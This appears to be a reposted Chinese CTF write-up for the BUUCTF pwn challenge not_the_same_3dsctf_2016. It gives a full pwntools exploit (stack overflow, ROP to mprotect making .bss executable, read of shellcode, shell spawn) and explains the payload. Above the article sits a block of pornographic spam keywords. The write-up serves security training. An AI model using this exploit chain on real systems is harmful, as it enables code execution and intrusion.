日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

BUUCTF not_the_same_3dsctf_2016

發布時間:2023/12/20 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 BUUCTF not_the_same_3dsctf_2016 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

還是靜態鏈接的,一個文件,自己玩,所以打開IDA找找能用到的函數就可以了,題目也非常簡單,棧溢出

from pwn import *context(log_level='debug', arch='i386')proc_name = './not_the_same_3dsctf_2016' p = process(proc_name) elf = ELF(proc_name) bss_start_addr = elf.bss() & ~(elf.bss() % 0x1000) mprotect_addr = elf.sym['mprotect'] read_addr = elf.sym['read'] # 0x080483b8 : pop esi ; pop edi ; pop ebp ; ret pop = 0x080483b8 payload = 'a'.encode() * (0x2d) + p32(mprotect_addr) + p32(pop) + p32(bss_start_addr) + p32(0x100) + p32(0x7) + p32(read_addr) + p32(bss_start_addr) + p32(0) + p32(bss_start_addr) + p32(0x100) p.sendline(payload) payload1 = asm(shellcraft.sh()) p.sendline(payload1) p.interactive()

這里我特別解釋一下這個payload'a'.encode() * (0x2d) + p32(mprotect_addr) + p32(pop) + p32(bss_start_addr) + p32(0x100) + p32(0x7) + p32(read_addr) + p32(bss_start_addr) + p32(0) + p32(bss_start_addr) + p32(0x100)

  • 首先0x2d是main函數中棧空間的大小,它的下一個位置就是ret指令對應的返回地址了
  • p32(mprotect_addr)就是mprotect函數的地址,接下來的p32(pop)是為了保持棧平衡而將后面壓入的三個參數從棧上彈出,彈出后我們并不使用它,就是為了控制棧的結構,p32(pop)的位置也同樣是執行完mprotect后的返回地址,pop對應的指令為pop esi ; pop edi ; pop ebp ; ret,最后ret就跳轉到p32(read_addr)這里了
  • 同理,p32(read_addr)的下一個p32(bss_start_addr)也是執行完read函數后跳轉的地址,后面是read的三個參數

整個思路就是,利用mprotect函數修改bss段為0x7即0b111,可讀可寫可執行權限,然后利用read函數讀入shellcode,最后跳轉到shellcode的位置,就成功拿到shell了

總結

以上是生活随笔為你收集整理的BUUCTF not_the_same_3dsctf_2016的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。